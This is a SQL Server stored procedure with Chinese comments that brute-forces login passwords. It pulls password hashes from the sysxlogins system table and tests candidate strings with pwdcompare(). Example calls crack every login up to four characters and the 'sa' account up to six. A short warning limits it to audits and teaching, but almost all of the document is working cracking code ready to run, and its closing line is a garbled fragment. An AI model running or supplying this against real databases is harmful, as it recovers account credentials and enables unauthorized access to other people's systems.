警告:本程式碼僅供安全審計與教學用途,嚴禁用於未授權系統。
此預存程序採用窮舉法嘗試破解 SQL Server 登入密碼,支援中文、特殊字元、尾隨空格,理論上可破解任意長度(受限於效能與時間)。
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassWord]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_GetPassWord]
go
create procedure p_GetPassWord
@username sysname = null, -- 指定使用者,null 為全部
@pwdlen int = 2 -- 最大嘗試長度(預設 2 碼)
as
begin
set @pwdlen = case when isnull(@pwdlen,0) < 1 then 1 else @pwdlen - 1 end
-- 輔助數字表
select top 255 id = identity(int,0,1) into #t from syscolumns
alter table #t add constraint PK_#t primary key(id)
-- 目標登入雜湊
select name, password,
type = case when xstatus & 2048 = 2048 then 1 else 0 end,
jm = case when password is null then 1 else 0 end,
pwdstr = cast('' as sysname),
pwd = cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name = isnull(@username, name)
declare @s1 varchar(8000), @s2 varchar(8000), @s3 varchar(8000), @l int
select @l = 0, @s1 = 'char(aa.id)', @s2 = 'cast(aa.id as varchar)', @s3 = ',#t aa'
-- 長度 1
exec('update pwd set jm=1, pwdstr=' + @s1 + ', pwd=' + @s2 +
' from #pwd pwd' + @s3 +
' where pwd.jm=0 and pwdcompare(' + @s1 + ', pwd.password, pwd.type)=1')
-- 遞增長度
while exists(select 1 from #pwd where jm=0 and @l < @pwdlen)
begin
select @l = @l + 1,
@s1 = @s1 + '+char(' + char(@l/26+97) + char(@l%26+97) + '.id)',
@s2 = @s2 + '+'''',''' + 'cast(' + char(@l/26+97) + char(@l%26+97) + '.id as varchar)',
@s3 = @s3 + ',#t ' + char(@l/26+97) + char(@l%26+97)
exec('update pwd set jm=1, pwdstr=' + @s1 + ', pwd=' + @s2 +
' from #pwd pwd' + @s3 +
' where pwd.jm=0 and pwdcompare(' + @s1 + ', pwd.password, pwd.type)=1')
end
select 用戶名 = name, 密碼 = pwdstr, 密碼ASCII = pwd from #pwd
end
go
-- 破解所有使用者,最長 4 碼
exec p_GetPassWord @pwdlen = 4
-- 破解特定使用者 sa,最長 6 碼
exec p_GetPassWord @username = 'sa', @pwdlen = 6
pwdcompare() 比對候選明文與儲存雜湊。sysxlogins 異常登入嘗試。